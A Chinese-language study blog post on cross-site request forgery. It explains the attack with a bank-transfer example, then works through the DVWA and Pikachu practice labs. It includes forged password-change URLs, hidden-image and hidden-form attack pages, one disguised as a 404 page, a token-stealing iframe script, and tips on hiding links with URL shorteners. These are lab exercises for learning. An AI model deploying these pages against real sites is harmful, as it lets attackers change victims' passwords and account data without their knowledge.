CSRF

CSRF:Cross Site Request Forgery

CSRF基本概念:

CSRF(Cross-site request forgery)跨站请求伪造,黑客利用已经登录的用户,诱使其访问或者登录某个早已构造好的恶意链接或者页面,然后在用户毫不知情的情况下,以用户的名义完成了非用户本意的非法操作。这种攻击我们也被称为”One Click Attack”或者SessionRiding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用行为。与XSS攻击相比,CSRF攻击往往不大流行,因此对其进行防范的资源也相当稀少和难以防范,所以被认为比XSS更具危险性。

CSRF攻击过程:

1.用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息用过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3.用户未退出网站A之前,在同一浏览器中打开一个TAB页访问网站B;
4.网站B接受到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5.浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF攻击例子

正常登入:
受害者张三在银行有一笔存款,通过对银行的网站发送请求http://bank.example/withdraw?account=张三&amount=1000000&for=罗老师 可以使张三把1000000的存款转到罗老师的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该session 的用户张三已经成功登陆。
黑客李四自己在该银行也有账户,他知道上文中的URL可以把钱进行转帐操作。李四可以自己发送一个请求给银行:http://bank.example/withdraw?account=张三&amount=1000000&for=李四 但是这个请求来自 李四 而非 张三,他不能通过安全认证,因此该请求不会起作用。
构造恶意链接或页面进行CSRF攻击:
这时,李四想到使用CSRF的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=张三&amount=1000000&for=李四” 并且通过广告等诱使张三 来访问他的网站。当张三访问该网站时,上述 url 就会从张三的浏览器发向银行,而这个请求会附带张三浏览器中的cookie一起发向银行服务器。大多数情况下,该请求会失败,因为他要求张三的认证信息。但是,如果张三当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的session尚未过期,浏览器的cookie之中含有张三的认证信息。这时,悲剧发生了,这个url请求就会得到响应,钱将从张三的账号转移到李四的账号,而张三当时毫不知情。等以后张三发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而李四则可以拿到钱后逍遥法外。

CSRF漏洞检测

1.检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
2.随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞检测的工具,若CSRFTester,CSRF Request Builder等。

DVMA-CSRF

LOW


由源码可知后台对我们输入的$pass_new和$pass_cnof进行一个判断;若是两者相等,则先对其转义特殊字符后,进行一个MD5加密;接下来便是更改密码的操作;将$pass_new插入数据库中。
1.构造链接进行攻击
http://127.0.0.1/DVWA-master/vulnerabilities/csrf?pass_new=shell&pass_conf=shell&Change=Change#
此时我们在已经登入的情况下访问这个链接,会发现我们的密码已经被改掉了且返回登入界面已经发现原密码失效


但是当受害者点击了这个链接,他的密码就会被改成shell;这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了。
所以此时我们需要对我们的链接进行一些处理;让它看上去正常一点;在这里我们使用短链接生成器;此时我们可以发现这次的链接已经不像第一个那么明显了。

虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。
2.构造攻击页面:这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。
写法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<title>CSRF</title>
</head>
<img src="http://127.0.0.1:81/DVWA-master/vulnerabilities/csrf/?password_new=wann&password_conf=wann&Change=Change#"border="0" style="display:none;">
<h1>
404<h1>
<h2>
file not found.<h2>
<body>
</body>
</html>

注:此处img中的src跳转必须是get请求下的csrf才可以发生。

写法二:

1
2
3
4
5
6
7
8
9
10
11

<html>
<body>
<form action="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="wann"/>
<input type="hidden" name="password_conf" value="wann"/>
<input type="hidden" name ="Change" value="Change" />
<input type="submit" value="Click Me">
</form>
</body>
</html>

在我们点击之后发现密码确实是已经被改了

注:如果用户登录(本地DVWA)是使用Firefox,而双击访问test.html黑客网站是使用IE,那么密码是不会被修改的,要同一个浏览器密码才有效。这其实就是真实攻击时,用户登录了DVWA,在没有退出DVWA(或身份认证信息还未过期时)打开了新的(hack设计好的修改DVWA登录密码的链接),就会把DVWA的密码改了。
3.携带图片

1
2
3
4
5
6
7
8
9
 <!DOCTYPE html>
<html>
<body>
<a href="http://127.0.0.1/dvwa-master/vulnerabilities/csrf/?password_new=wann&password_conf=wann&Change=Change#">
<img src="http://127.0.0.1/D:/csrf.jpg" border="0" width="220" height="100">
</a>
</body>
</html>
/*href后的内容为恶意链接;src后的内容为图片存在的根路径。*/

Medium


spripos(string,find[,start]):从start位置开始查找find中string第一次出现的位置
(3)$SERVER[‘HTTP_REFERER’]链接到当前页面的前一页面的 URL 地址。
(4)$SERVER[‘SERVER_NAME’] #当前运行脚本所在服务器主机的名称。

1
2
3
4
host:指定要请求的资源的IP(或者域名)+端口号。没有端口号则是默认的。
referer:告诉服务器从哪里来的,包括协议、域名、端口、路径和参数。
所以这里验证的是前一页的地址中有没有要访问的域名,所以需要把访问的文件名字改成是host的name(IP(或者域名))。
也就是refer中必须包含主机名(host),即把前面的攻击页面命名为 IP地址.html(页面被放置在攻击者的服务器中)

可以从源码中得知后台查询referer中是否含有($SERVER[‘SERVER_NAME’]即为http包头的Host参数,及要访问的主机名)
此时我们先抓个包试试看

此时发现了这个Referer: http://127.0.0.1/DVWA-master/security.php
此时我们依旧可以利用low等级里面的那个链接,在本地进行访问,然后挂代理进行抓包,在请求头里面添加上面那个referer值;然后放包;这样我们的密码就可以被更改成功。但是我们在进行实际攻击时,是没有办法进行抓受害者的包然后进行更改referer值的。所以这个方法在实战中会十分蹩脚(上面这个是我自己的理解,若是有不对之处,请斧正)
此时因为题目要求要包含目标的主机名;所以我们可以利用一系列漏洞进行进行获取目标主机名;然后将我们的恶意文件命名为:目标主机名.html 这样当目标主机访问我们这个恶意文件时便可以进行更改密码的操作;因为该操作需要两台主机同时进
行;所以这里就简述一下流程

High


这部分源码最主要的就是检查了token

用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
方法一:试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script type="text/javascript"> 
function attack() {

document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit(); }
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>

<body οnlοad="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>

然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.67.143/dvwa/vulnerabilities/csrf 位于服务器192.168.67.143上,而我们的攻击页面位于黑客服务器192.168.67.140上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。
所以我们要将攻击代码注入到目标服务器192.168.67.143中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
注:这里还没有学到XSS;所以先放一下,回头来补。
方法二:
利用burpsuite中的CSRF Token Tracker绕过token验证插件:



Impossible


可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

Pikachu


CSRF(GET)

此时登入后发现了这个界面;此时尝试对用户信息进行更改

使用bp拦截更改消息

然后进行咱们要修改的值,接着利用短链接进行伪造;然后我们模仿该用户点击该链接,此时会发现我们的数据已经被更改

CSRF(POST)

此时登入后发现了这个界面;此时尝试对用户信息进行更改

因为此时为POST提交方式;所有还是打开bp然后进行抓包点击Engagement tools——Generate CSRF PoC进行构造

接着模仿受害者访问攻击者传来的页面;此时发现信息已经被修改

CSRF(Token)


查看源码,发现它会验证我们每次提交的Token;CSRF的主要问题是敏感操作的连接容易被伪造,如何让这个链接不被伪造?
每次请求增加一个随机码,后台每次对这个随机码进行验证。

后记

第一次接触CSRF还是有点手忙脚乱;通过DVWA进行学习CSRF后找了Pikachu进行练习了一下;巩固了一下基础知识。通过DVWA也是对CSRF有了点感觉;自己觉得对于跨站请求伪造的学习还是停留在理论的学习;实战经历还是偏少。